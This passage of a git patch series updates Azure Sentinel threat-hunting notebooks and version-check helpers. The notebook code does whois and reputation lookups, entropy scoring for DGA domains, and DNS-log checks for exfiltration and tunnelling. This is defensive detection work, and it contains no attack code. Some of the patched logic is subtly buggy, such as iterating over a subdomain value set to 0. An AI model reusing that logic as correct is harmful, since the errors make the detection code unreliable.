min_py_ver: - display( - HTML( - """ -

This notebook requires a later notebook - (Python) kernel version.

- From the Notebook menu (above), choose Kernel then - Change Kernel... from the menu.
- Select a Python %s.%s (or later) version kernel and then re-run - this cell.

+ _disp_html( """ - % min_py_ver - ) +

This notebook requires a later notebook + (Python) kernel version.

+ Select a kernel from the notebook toolbar (above), that is Python + 3.6 or later (Python 3.8 recommended)
+ """ + % min_py_ver ) - display( - HTML( - """ - Please see the - TroubleShootingNotebooks - in this folder for more information

+ _disp_html( + f""" + Please see the TroubleShootingNotebooks + for more information

""" - ) ) raise RuntimeError("Python %s.%s or later kernel is required." % min_py_ver) - display( - HTML( - "Python kernel version %s.%s.%s OK
" - % (sys.version_info[0], sys.version_info[1], sys.version_info[2]) + if sys.version_info < (3, 8, 0): + display( + "Recommended: switch to using the 'Python 3.8 -AzureML' notebook kernel." ) + _disp_html( + "Info: Python kernel version %s.%s.%s OK
" + % (sys.version_info[0], sys.version_info[1], sys.version_info[2]) ) @@ -159,8 +177,8 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): """ mp_min_pkg_ver = _get_pkg_version(min_msticpy_ver) - display(HTML("Checking msticpy version...")) - wrong_ver_err = "msticpy {mp_pkg_ver} or later is needed." + _disp_html("Checking msticpy version...
") + wrong_ver_err = f"msticpy {mp_min_pkg_ver} or later is needed." inst_version = "none" try: import msticpy @@ -170,35 +188,44 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): raise ImportError(wrong_ver_err) except ImportError: - display( - HTML( - MISSING_PKG_ERR.format( - package="msticpy", - inst_ver=inst_version, - req_ver=mp_min_pkg_ver, - ) + _disp_html( + MISSING_PKG_ERR.format( + package="msticpy", + inst_ver=inst_version, + req_ver=mp_min_pkg_ver, ) ) resp = input("Install now? (y/n)") # nosec if resp.casefold().startswith("y"): raise - display( - HTML( - """ -

The notebook cannot be run without - the correct version of '{pkg}' ({ver} or later). -

- Currently installed version is {curr_ver} - Please see the - TroubleShootingNotebooks - in this folder for more information

- """.format(pkg="msticpy", ver=mp_min_pkg_ver, curr_ver=inst_version) + _disp_html( + MP_INSTALL_FAILED.format( + pkg="msticpy", + ver=mp_min_pkg_ver, + curr_ver=inst_version, + nbk_uri=AZ_GET_STARTED, ) ) raise RuntimeError(wrong_ver_err) - display(HTML("msticpy version %s.%s.%s OK
" % mp_version)) + _disp_html(f"Info: msticpy version {mp_min_pkg_ver} OK
") + + +def _install_mp(mp_install_version, exact_version, extras): + """Try to install MSTICPY.""" + sp_args = ["install"] + pkg_op = "==" if exact_version else ">=" + mp_pkg_spec = f"msticpy[{','.join(extras)}]" if extras else "msticpy" + mp_pkg_spec = f"{mp_pkg_spec}{pkg_op}{mp_install_version}" + sp_args.append(mp_pkg_spec) + + display( + HTML(f"
Running pip {' '.join(sp_args)} - this may take a few moments...
") + ) + + ip_shell = get_ipython() + ip_shell.run_line_magic("pip", " ".join(sp_args)) def _set_kql_env_vars(extras): @@ -210,16 +237,13 @@ def _set_kql_env_vars(extras): os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-basic" -def _fmt_ver(version): - return ".".join(str(ver) for ver in version) - - -def _fmt_dict_ver(version): - return ".".join(str(ver) for ver in version.values) - - def _get_pkg_version(version): if isinstance(version, str): return parse_version(version) elif isinstance(version, tuple): return parse_version(".".join(str(ver) for ver in version)) + raise TypeError(f"Unparseable type version {version}") + + +def _disp_html(text): + display(HTML(text)) diff --git a/utils/test_mp_extras.py b/utils/test_mp_extras.py index 4ec51f4..9cdcb46 100644 --- a/utils/test_mp_extras.py +++ b/utils/test_mp_extras.py @@ -223,24 +223,26 @@ def _add_script_args(): parser.add_argument( "cmd", choices=["install", "reset", "test", "makedist", "showdist", "baseline"], - help="\n".join([ - "Run command: [install | reset | test | makedist | showdist | baseline]", - ( - "install - install msticpy from a dist folder (--path) with option extras" - " (specified as a string with the --extras argument." - ), - ( - "reset - uninstall all packages apart from the baseline" - " (baseline package file is specified with --base-packages argument)." - ), - "test - run pytest tests against current install.", - "makedist - create a setuptools distribution from --path", - "showdist - list the distributions in the 'dist' folder in --path", - ( - "baseline - create a baseline requirements file from current packages" - " (specify output file as --output, default is baseline_pkg.txt" - ), - ]) + help="\n".join( + [ + "Run command: [install | reset | test | makedist | showdist | baseline]", + ( + "install - install msticpy from a dist folder (--path) with option extras" + " (specified as a string with the --extras argument." + ), + ( + "reset - uninstall all packages apart from the baseline" + " (baseline package file is specified with --base-packages argument)." + ), + "test - run pytest tests against current install.", + "makedist - create a setuptools distribution from --path", + "showdist - list the distributions in the 'dist' folder in --path", + ( + "baseline - create a baseline requirements file from current packages" + " (specify output file as --output, default is baseline_pkg.txt" + ), + ] + ), ) parser.add_argument( "--extra", From a423bb70f39ea7c2a63513f9b7e49dcd9004716b Mon Sep 17 00:00:00 2001 From: Pete Bryan Date: Wed, 7 Apr 2021 17:43:32 -0700 Subject: [PATCH 08/23] Fixes for getting started notebook --- ...uide For Azure Sentinel ML Notebooks.ipynb | 211 +++--------------- 1 file changed, 33 insertions(+), 178 deletions(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index 222939a..60bb222 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -129,123 +129,28 @@ }, { "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "

Starting Notebook setup...

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking Python kernel version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Python kernel version 3.7.9 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking msticpy version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "msticpy version 0.8.5 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Processing imports....\n", - "Checking configuration....\n", - "No errors found.\n", - "\n", - "The following configuration warnings were found: \n", - " -------------------------------------------------\n", - "No AzureCLI section in settings.\n", - "Setting notebook options....\n" - ] - }, - { - "data": { - "text/html": [ - "

Notebook setup complete

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/plain": [ - "True" - ] - }, - "execution_count": 1, - "metadata": {}, - "output_type": "execute_result" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "from pathlib import Path\n", - "from IPython.display import display, HTML\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(1, 0, 0)\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_versions\n", - " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", - " \n", - "from msticpy.nbtools import nbinit\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " extra_imports=[\"ipwhois, IPWhois\", \"urllib.request, urlretrieve\", \"yaml\"]\n", - ");" + "from pathlib import Path\r\n", + "from IPython.display import display, HTML\r\n", + "\r\n", + "REQ_PYTHON_VER=(3, 6)\r\n", + "REQ_MSTICPY_VER=(1, 0, 0)\r\n", + "\r\n", + "display(HTML(\"

Starting Notebook setup...

\"))\r\n", + "if Path(\"./utils/nb_check.py\").is_file():\r\n", + " from utils.nb_check import check_versions\r\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, extras=[\"Azure\"])\r\n", + " \r\n", + "from msticpy.nbtools import nbinit\r\n", + "nbinit.init_notebook(\r\n", + " namespace=globals(),\r\n", + " extra_imports=[\"urllib.request, urlretrieve\", \"yaml\"]\r\n", + ");\r\n", + "\r\n", + "pd.set_option(\"display.html.table_schema\", False)" ] }, { @@ -278,24 +183,9 @@ }, { "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "476cd129a72d4ab0a2098f5bddf950df", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(Textarea(value=\"{'AzureSentinel': {'Workspaces': {'ASIHuntOMSWorkspaceV4': {'TenantId': '72f988…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "from msticpy.config import MpConfigFile, MpConfigEdit\n", "mpconfig = MpConfigFile()\n", @@ -345,9 +235,9 @@ "metadata": {}, "outputs": [], "source": [ - "mpconfig = MpConfigFile()\n", - "mpconfig.load_from_file(\"E:\\\\src\\\\asi-jupyter\\\\notebooks\\\\config.json\")\n", - "mpconfig.map_json_to_mp_ws()\n", + "mpconfig = MpConfigFile()\r\n", + "mpconfig.load_from_file(\"config.json\")\r\n", + "mpconfig.map_json_to_mp_ws()\r\n", "mpconfig.settings" ] }, @@ -373,32 +263,9 @@ }, { "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "AuthKey\n", - "AuthKey\n" - ] - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "33066883d4cf4568b9a94f08b4a4d404", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(Tab(children=(VBox(children=(Label(value='Azure Sentinel workspace settings'), HBox(children=(V…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "mpedit = MpConfigEdit(settings=mpconfig)\n", "mpedit.set_tab(\"AzureSentinel\")\n", @@ -864,21 +731,9 @@ }, { "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [ - { - "ename": "NameError", - "evalue": "name 'df' is not defined", - "output_type": "error", - "traceback": [ - "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", - "\u001b[1;31mNameError\u001b[0m Traceback (most recent call last)", - "\u001b[1;32m\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[1;32m----> 1\u001b[1;33m \u001b[0mdf\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"NewCol\"\u001b[0m\u001b[1;33m]\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;34m\"Look at my new data!\"\u001b[0m \u001b[1;31m# Add the same string to every row in this column\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 2\u001b[0m \u001b[0mdisplay\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdf\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;33m[\u001b[0m\u001b[1;34m\"TenantId\"\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;34m\"Account\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"TimeGenerated\"\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"NewCol\"\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m]\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mhead\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;36m2\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;31mNameError\u001b[0m: name 'df' is not defined" - ] - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "df[\"NewCol\"] = \"Look at my new data!\" # Add the same string to every row in this column\n", "display(df[[\"TenantId\",\"Account\", \"TimeGenerated\", \"NewCol\"]].head(2))" From 46f9c99b1544157d39db86fcf3653c125f204619 Mon Sep 17 00:00:00 2001 From: Pete Bryan Date: Thu, 8 Apr 2021 10:44:11 -0700 Subject: [PATCH 09/23] Fixes to Domains Explorer --- Entity Explorer - Domain and URL.ipynb | 332 +++++++++++++------------ 1 file changed, 172 insertions(+), 160 deletions(-) diff --git a/Entity Explorer - Domain and URL.ipynb b/Entity Explorer - Domain and URL.ipynb index 7089e7a..5d0b3ef 100644 --- a/Entity Explorer - Domain and URL.ipynb +++ b/Entity Explorer - Domain and URL.ipynb @@ -87,30 +87,30 @@ }, "outputs": [], "source": [ - "from pathlib import Path\n", - "from IPython.display import display, HTML\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(1, 0, 0)\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_versions\n", - " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", - "\n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", - "\n", - "from msticpy.nbtools import nbinit\n", - "extra_imports = [\n", - " \"msticpy.nbtools, observationlist\",\n", - " \"msticpy.sectools, domain_utils\",\n", - " \"pyvis.network, Network\",\n", - "]\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " additional_packages=[\"oauthlib\", \"pyvis\", \"python-whois\"],\n", - " extra_imports=extra_imports,\n", + "from pathlib import Path\r\n", + "from IPython.display import display, HTML, Image\r\n", + "\r\n", + "REQ_PYTHON_VER=(3, 6)\r\n", + "REQ_MSTICPY_VER=(1, 0, 0)\r\n", + "\r\n", + "display(HTML(\"

Starting Notebook setup...

\"))\r\n", + "if Path(\"./utils/nb_check.py\").is_file():\r\n", + " from utils.nb_check import check_versions\r\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\r\n", + "\r\n", + "# If not using Azure Notebooks, install msticpy with\r\n", + "# !pip install msticpy\r\n", + "\r\n", + "from msticpy.nbtools import nbinit\r\n", + "extra_imports = [\r\n", + " \"msticpy.nbtools, observationlist\",\r\n", + " \"msticpy.sectools, domain_utils\",\r\n", + " \"pyvis.network, Network\",\r\n", + "]\r\n", + "nbinit.init_notebook(\r\n", + " namespace=globals(),\r\n", + " additional_packages=[\"pyvis\", \"python-whois\"],\r\n", + " extra_imports=extra_imports,\r\n", ");" ] }, @@ -361,83 +361,89 @@ }, "outputs": [], "source": [ - "from whois import whois\n", - "from collections import Counter\n", - "def Entropy(data):\n", - " s, lens = Counter(data), np.float(len(data))\n", - " return -sum(count/lens * np.log2(count/lens) for count in s.values())\n", - "#Get a whois record for our domain\n", - "wis = whois(domain)\n", - "\n", - "if wis.domain_name is not None:\n", - " # Create domain record from whois data\n", - " dom_record = pd.DataFrame({\"Domain\":[domain],\n", - " \"Name\":[wis['name']],\n", - " \"Org\":[wis['org']],\n", - " \"DNSSec\":[wis['dnssec']],\n", - " \"City\":[wis['city']],\n", - " \"State\":[wis['state']],\n", - " \"Country\":[wis['country']],\n", - " \"Registrar\": [wis['registrar']],\n", - " \"Status\": [wis['status']],\n", - " \"Created\":[wis['creation_date']],\n", - " \"Expiration\" : [wis['expiration_date']],\n", - " \"Last Updated\" : [wis['updated_date']],\n", - " \"Name Servers\": [wis['name_servers']]})\n", - " ns_domains = []\n", - " \n", - " # Remove duplicate Name Server records\n", - " for server in wis['name_servers']:\n", - " ns_sub_d, ns_domain, ns_tld = tldextract.extract(server)\n", - " ns_dom = ns_domain.lower() + \".\" + ns_tld.lower()\n", - " if domain not in ns_domains:\n", - " ns_domains.append(ns_dom) \n", - " \n", - " # Identity domains populatirty with Open Page Rank\n", - " page_rank = tilookup.result_to_df(tilookup.lookup_ioc(observable=domain, providers=[\"OPR\"]))\n", - " page_rank_score = page_rank['RawResult'][0]['response'][0]['page_rank_integer']\n", - " dom_record[\"Page Rank\"] = [page_rank_score]\n", - " \n", - " # Get a list of subdomains for the domain\n", - " url_ti = tilookup.result_to_df(tilookup.lookup_ioc(observable=domain, providers=[\"VirusTotal\"]))\n", - " sub_doms = url_ti['RawResult'][0]['subdomains']\n", - " graph_items.append((domain, \"Sub Domains\"))\n", - " graph_items += [(sub,\"Sub Domains\") for sub in sub_doms]\n", - " dom_record['Sub Domains'] = [sub_doms]\n", - " \n", - " # Work out domain entropy to identity possible DGA\n", - " dom_ent = Entropy(domain)\n", - " dom_record['Domains Entropy'] = [dom_ent]\n", - " \n", - " # Add elements to graph for later plotting\n", - " if isinstance(dom_record['Created'],list): \n", - " graph_items.append((domain,dom_record['Created'][0][0]))\n", - " else:\n", - " graph_items.append((domain,dom_record['Created'][0]))\n", - " graph_items.append((domain, \"Name Servers\"))\n", - " graph_items += [((\"Name Servers\", ns)) for ns in dom_record['Name Servers'][0]]\n", - " graph_items += [(domain,dom_record['Registrar'][0]), (domain,dom_record['Country'][0]),(domain,f\"Page Rank : {dom_record['Page Rank'][0]}\")]\n", - " \n", - " #Highlight domains with low PageRank score or if thier entropy is more than 2 standard deviations from the average for the top 1 million domains\n", - " def color_cells(val):\n", - " if isinstance(val, int):\n", - " color = 'yellow' if val < 3 else 'white'\n", - " elif isinstance(val, float):\n", - " color = 'yellow' if val > 4.30891 or val < 2.72120 else 'white'\n", - " else:\n", - " color = 'white'\n", - " return 'background-color: %s' % color\n", - " \n", - " # Display whois details and highlight interesting values\n", - " display(dom_record.T.style.applymap(color_cells, subset=pd.IndexSlice[['Page Rank', 'Domains Entropy'],0]))\n", - " summary.add_observation(caption=\"Domain Summary\", description=f\"Summary of public domain records for {domain}\", data=dom_record)\n", - " md(\"If Page Rank or Domain Entropy are highlighted this indicates that their values are outside the expected values of a legitimate website\")\n", - " md(f\"The average entropy for the 1M most popular domains is 3.2675\")\n", - "\n", - "else:\n", - " # If there is no whois data see what we can use from TI\n", - " url_ti = tilookup.result_to_df(tilookup.lookup_ioc(observable=domain, providers=[\"VirusTotal\"]))\n", - " md(f\"No current whois record exists for {domain} below are historical records\")\n", + "from whois import whois\r\n", + "from collections import Counter\r\n", + "def Entropy(data):\r\n", + " s, lens = Counter(data), np.float(len(data))\r\n", + " return -sum(count/lens * np.log2(count/lens) for count in s.values())\r\n", + "#Get a whois record for our domain\r\n", + "wis = whois(domain)\r\n", + "\r\n", + "if wis.domain_name is not None:\r\n", + " # Create domain record from whois data\r\n", + " dom_record = pd.DataFrame({\"Domain\":[domain],\r\n", + " \"Name\":[wis['name']],\r\n", + " \"Org\":[wis['org']],\r\n", + " \"DNSSec\":[wis['dnssec']],\r\n", + " \"City\":[wis['city']],\r\n", + " \"State\":[wis['state']],\r\n", + " \"Country\":[wis['country']],\r\n", + " \"Registrar\": [wis['registrar']],\r\n", + " \"Status\": [wis['status']],\r\n", + " \"Created\":[wis['creation_date']],\r\n", + " \"Expiration\" : [wis['expiration_date']],\r\n", + " \"Last Updated\" : [wis['updated_date']],\r\n", + " \"Name Servers\": [wis['name_servers']]})\r\n", + " ns_domains = []\r\n", + " \r\n", + " # Remove duplicate Name Server records\r\n", + " for server in wis['name_servers']:\r\n", + " ns_sub_d, ns_domain, ns_tld = tldextract.extract(server)\r\n", + " ns_dom = ns_domain.lower() + \".\" + ns_tld.lower()\r\n", + " if domain not in ns_domains:\r\n", + " ns_domains.append(ns_dom) \r\n", + " \r\n", + " # Identity domains populatirty with Open Page Rank\r\n", + " page_rank = tilookup.result_to_df(tilookup.lookup_ioc(observable=domain, providers=[\"OPR\"]))\r\n", + " if page_rank['RawResult'][0]:\r\n", + " page_rank_score = page_rank['RawResult'][0]['response'][0]['page_rank_integer']\r\n", + " else:\r\n", + " page_rank_score = 0\r\n", + " dom_record[\"Page Rank\"] = [page_rank_score]\r\n", + " \r\n", + " # Get a list of subdomains for the domain\r\n", + " url_ti = tilookup.result_to_df(tilookup.lookup_ioc(observable=domain, providers=[\"VirusTotal\"]))\r\n", + " if url_ti['RawResult'][0]:\r\n", + " sub_doms = url_ti['RawResult'][0]['subdomains']\r\n", + " else:\r\n", + " sub_doms = 0\r\n", + " graph_items.append((domain, \"Sub Domains\"))\r\n", + " graph_items += [(sub,\"Sub Domains\") for sub in sub_doms]\r\n", + " dom_record['Sub Domains'] = [sub_doms]\r\n", + " \r\n", + " # Work out domain entropy to identity possible DGA\r\n", + " dom_ent = Entropy(domain)\r\n", + " dom_record['Domains Entropy'] = [dom_ent]\r\n", + " \r\n", + " # Add elements to graph for later plotting\r\n", + " if isinstance(dom_record['Created'],list): \r\n", + " graph_items.append((domain,dom_record['Created'][0][0]))\r\n", + " else:\r\n", + " graph_items.append((domain,dom_record['Created'][0]))\r\n", + " graph_items.append((domain, \"Name Servers\"))\r\n", + " graph_items += [((\"Name Servers\", ns)) for ns in dom_record['Name Servers'][0]]\r\n", + " graph_items += [(domain,dom_record['Registrar'][0]), (domain,dom_record['Country'][0]),(domain,f\"Page Rank : {dom_record['Page Rank'][0]}\")]\r\n", + " \r\n", + " #Highlight domains with low PageRank score or if thier entropy is more than 2 standard deviations from the average for the top 1 million domains\r\n", + " def color_cells(val):\r\n", + " if isinstance(val, int):\r\n", + " color = 'yellow' if val < 3 else 'white'\r\n", + " elif isinstance(val, float):\r\n", + " color = 'yellow' if val > 4.30891 or val < 2.72120 else 'white'\r\n", + " else:\r\n", + " color = 'white'\r\n", + " return 'background-color: %s' % color\r\n", + " \r\n", + " # Display whois details and highlight interesting values\r\n", + " display(dom_record.T.style.applymap(color_cells, subset=pd.IndexSlice[['Page Rank', 'Domains Entropy'],0]))\r\n", + " summary.add_observation(caption=\"Domain Summary\", description=f\"Summary of public domain records for {domain}\", data=dom_record)\r\n", + " md(\"If Page Rank or Domain Entropy are highlighted this indicates that their values are outside the expected values of a legitimate website\")\r\n", + " md(f\"The average entropy for the 1M most popular domains is 3.2675\")\r\n", + "\r\n", + "else:\r\n", + " # If there is no whois data see what we can use from TI\r\n", + " url_ti = tilookup.result_to_df(tilookup.lookup_ioc(observable=domain, providers=[\"VirusTotal\"]))\r\n", + " md(f\"No current whois record exists for {domain} below are historical records\")\r\n", " print(url_ti['RawResult'][0]['whois'])" ] }, @@ -648,23 +654,22 @@ }, "outputs": [], "source": [ - "from IPython.display import HTML\n", - "# Plot Graph with pyvis\n", - "net=Network(height=900, width=900, notebook=True)\n", - "net.barnes_hut()\n", - "net.from_nx(G)\n", - "net.set_options(\"\"\"\n", - "var options = {\"nodes\": {\"color\": {\"highlight\": {\"border\": \"rgba(233,77,49,1)\"},\"hover\": {\"border\": \"rgba(233,77,49,1)\"}},\n", - " \"scaling\": {\"min\": 1},\"size\": 7},\n", - " \"edges\": {\"color\": {\"inherit\": true}, \"smooth\": false},\n", - " \"interaction\": {\"hover\": true,\"multiselect\": true},\n", - " \"manipulation\": {\"enabled\": true},\n", - " \"physics\": {\"enabled\": false,\"barnesHut\": {\"gravitationalConstant\": -80000,\"springLength\": 250,\"springConstant\": 0.001},\"minVelocity\": 0.75}\n", - "}\"\"\")\n", - "net.show(\"graph.html\")\n", - "# If the intereactive graph does not display correcrtly uncomment the three lines below to access display a non-interactive version\n", - "import matplotlib.pyplot as plt\n", - "plt.figure(3,figsize=(12,12))\n", + "# Plot Graph with pyvis\r\n", + "net=Network(height=900, width=900, notebook=True)\r\n", + "net.barnes_hut()\r\n", + "net.from_nx(G)\r\n", + "net.set_options(\"\"\"\r\n", + "var options = {\"nodes\": {\"color\": {\"highlight\": {\"border\": \"rgba(233,77,49,1)\"},\"hover\": {\"border\": \"rgba(233,77,49,1)\"}},\r\n", + " \"scaling\": {\"min\": 1},\"size\": 7},\r\n", + " \"edges\": {\"color\": {\"inherit\": true}, \"smooth\": false},\r\n", + " \"interaction\": {\"hover\": true,\"multiselect\": true},\r\n", + " \"manipulation\": {\"enabled\": true},\r\n", + " \"physics\": {\"enabled\": false,\"barnesHut\": {\"gravitationalConstant\": -80000,\"springLength\": 250,\"springConstant\": 0.001},\"minVelocity\": 0.75}\r\n", + "}\"\"\")\r\n", + "net.show(\"graph.html\")\r\n", + "# If the intereactive graph does not display correcrtly uncomment the three lines below to access display a non-interactive version\r\n", + "import matplotlib.pyplot as plt\r\n", + "plt.figure(3,figsize=(12,12))\r\n", "nx.draw(G, with_labels=True, font_weight='bold')" ] }, @@ -1055,28 +1060,32 @@ }, "outputs": [], "source": [ - "# Check DNS logs for indicators of data exfiltration or tunnelling via DNS\n", - "if dns_logs_df is not None:\n", - " import msticpy.sectools.base64unpack as b64\n", - " lookups = dns_logs_df['Name'].dropna().unique().tolist()\n", - " potential_tunnels = []\n", - " for lookup in lookups:\n", - " if len(lookup) > 250:\n", - " print(f\"Suspicious domain length {lookup}\")\n", - " sub_d, _, _ = tldextract.extract(lookup)\n", - " req = sub_d.replace(\".\",\"\")\n", - " score = Entropy(req)\n", - " if score > (3.2675 + 0.5) or score < (3.2675 - 0.5):\n", - " potential_tunnels.append(lookup)\n", - " base64 = b64.unpack(req)\n", - " if not base64[1].empty:\n", - " potential_tunnels.append(lookup)\n", - " suspicious_queries = dns_logs_df[dns_logs_df['Name'].isin(potential_tunnels)]\n", - " md(\"Potential DNS Tunnelling:\")\n", - " suspect_tunnels = pd.DataFrame({\"Count of DNS Lookups\": suspicious_queries.groupby(['Name','ClientIP']).count()['TimeGenerated']})\n", - " display(suspect_tunnels.reset_index().style.hide_index())\n", - " summary.add_observation(caption=\"DNS Tunnelling\", description=f\"Potential DNS Tunnelling\", data=suspect_tunnels)\n", - "else:\n", + "# Check DNS logs for indicators of data exfiltration or tunnelling via DNS\r\n", + "if dns_logs_df is not None:\r\n", + " import msticpy.sectools.base64unpack as b64\r\n", + " lookups = dns_logs_df['Name'].dropna().unique().tolist()\r\n", + " potential_tunnels = []\r\n", + " for lookup in lookups:\r\n", + " if len(lookup) > 250:\r\n", + " print(f\"Suspicious domain length {lookup}\")\r\n", + " sub_d, _, _ = tldextract.extract(lookup)\r\n", + " req = sub_d.replace(\".\",\"\")\r\n", + " score = Entropy(req)\r\n", + " if score > (3.2675 + 0.5) or score < (3.2675 - 0.5):\r\n", + " potential_tunnels.append(lookup)\r\n", + " base64 = b64.unpack(req)\r\n", + " if not base64[1].empty:\r\n", + " potential_tunnels.append(lookup)\r\n", + " suspicious_queries = dns_logs_df[dns_logs_df['Name'].isin(potential_tunnels)]\r\n", + " if suspicious_queries.empty:\r\n", + " md(f\"No DNS lookups found for {domain}\")\r\n", + " suspect_tunnels = None\r\n", + " else:\r\n", + " md(\"Potential DNS Tunnelling:\")\r\n", + " suspect_tunnels = pd.DataFrame({\"Count of DNS Lookups\": suspicious_queries.groupby(['Name','ClientIP']).count()['TimeGenerated']})\r\n", + " display(suspect_tunnels.reset_index().style.hide_index())\r\n", + " summary.add_observation(caption=\"DNS Tunnelling\", description=f\"Potential DNS Tunnelling\", data=suspect_tunnels)\r\n", + "else:\r\n", " md(\"No DNS events avaliable in workspace\")" ] }, @@ -1263,26 +1272,29 @@ }, "outputs": [], "source": [ - "import re\n", - "pattern = re.compile(\"^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$\")\n", - "# Simplify to list \n", - "host_ip_list = [(host) for host in host_list if pattern.match(host)] \n", - "\n", - "for ip in host_ip_list:\n", - " host_list.remove(ip)\n", - " host_name = qry_prov.Network.get_host_for_ip( query_times, ip_address=ip)\n", - " if not host_name.empty:\n", - " host_list.append(host_name['Computer'][0]) \n", - "if alerts is not None:\n", - " alert_count = [((len(alerts[alerts[\"Entities\"].str.contains(host)].index))) for host in host_list]\n", - " host_alerts = pd.DataFrame({\"Hosts\":host_list,\n", - " \"Count of Host Alerts\": alert_count})\n", - " summary.add_observation(caption=\"Host Alerts\", description=f\"A list of hosts observed communicating with {scope} and any alerts associated with them\", data=host_alerts) \n", - " md(f\"\"\"\n", - " During the investigation the following hosts have been observed as having an association with {domain}.\n", - " The count of alerts for each host is to provide guidance on which hosts should be considered for prioritization \n", - " in further investigation.\"\"\")\n", - " display(host_alerts.style.hide_index())" + "import re\r\n", + "pattern = re.compile(\"^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$\")\r\n", + "# Simplify to list \r\n", + "host_ip_list = [(host) for host in host_list if pattern.match(host)] \r\n", + "\r\n", + "for ip in host_ip_list:\r\n", + " host_list.remove(ip)\r\n", + " host_name = qry_prov.Network.get_host_for_ip( query_times, ip_address=ip)\r\n", + " if not host_name.empty:\r\n", + " host_list.append(host_name['Computer'][0]) \r\n", + "if alerts is not None:\r\n", + " alert_count = [((len(alerts[alerts[\"Entities\"].str.contains(host)].index))) for host in host_list]\r\n", + " host_alerts = pd.DataFrame({\"Hosts\":host_list,\r\n", + " \"Count of Host Alerts\": alert_count})\r\n", + " if host_alerts.empty:\r\n", + " md(f\"No hosts observed having an association with {domain}\")\r\n", + " else:\r\n", + " summary.add_observation(caption=\"Host Alerts\", description=f\"A list of hosts observed communicating with {scope} and any alerts associated with them\", data=host_alerts) \r\n", + " md(f\"\"\"\r\n", + " During the investigation the following hosts have been observed as having an association with {domain}.\r\n", + " The count of alerts for each host is to provide guidance on which hosts should be considered for prioritization \r\n", + " in further investigation.\"\"\")\r\n", + " display(host_alerts.style.hide_index())" ] }, { From a8fe14bbb2288fb50d8246b82fbb193e44ae59f3 Mon Sep 17 00:00:00 2001 From: Pete Bryan Date: Thu, 8 Apr 2021 12:32:19 -0700 Subject: [PATCH 10/23] Covid Notebook Updates --- ...uide For Azure Sentinel ML Notebooks.ipynb | 18 +- ...ed Hunting - Covid-19 Themed Threats.ipynb | 198 +++++++++--------- 2 files changed, 100 insertions(+), 116 deletions(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML 